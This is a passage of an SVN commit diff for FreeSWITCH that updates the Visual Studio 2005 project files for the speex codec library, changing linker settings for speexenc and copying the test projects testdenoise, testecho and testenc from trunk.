-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCWebDeploymentTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/speex/win32/VS2005/speexenc/speexenc.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/speexenc/speexenc.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/speexenc/speexenc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="Windows-1252"?>
 <VisualStudioProject
 	ProjectType="Visual C++"
-	Version="8.00"
+	Version="8,00"
 	Name="speexenc"
 	ProjectGUID="{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}"
 	RootNamespace="speexenc"
@@ -63,9 +63,11 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="..\..\..\bin\speexenc.exe"
 				LinkIncremental="2"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libogg\win32\VS2005\$(ConfigurationName)&quot;"
+				IgnoreDefaultLibraryNames="LIBCMTD.lib"
 				GenerateDebugInformation="true"
 				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
 				SubSystem="1"
@@ -149,9 +151,11 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="..\..\..\bin\speexenc.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libogg\win32\VS2005\$(ConfigurationName)&quot;"
+				IgnoreDefaultLibraryNames=""
 				GenerateDebugInformation="true"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -238,9 +242,11 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="..\..\..\bin\speexenc.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libogg\win32\VS2005\$(ConfigurationName)&quot;"
+				IgnoreDefaultLibraryNames=""
 				GenerateDebugInformation="true"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -273,95 +279,6 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
-		<Configuration
-			Name="Release_SSE2|Win32"
-			OutputDirectory="$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="3"
-				InlineFunctionExpansion="2"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="1"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
-				StringPooling="true"
-				ExceptionHandling="0"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="false"
-				EnableEnhancedInstructionSet="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="3"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
-				LinkIncremental="1"
-				GenerateDebugInformation="true"
-				SubSystem="1"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCWebDeploymentTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2005/tests


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = testdenoise.vcproj testecho.vcproj testenc.vcproj testenc_uwb.vcproj \
+             testenc_wb.vcproj testresample.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testdenoise.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testdenoise.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/testdenoise.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testdenoise.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testdenoise.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="testdenoise"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testdenoise.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testecho.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testecho.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/testecho.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testecho.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testecho.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="testecho"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testecho.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/testenc.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="testenc"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
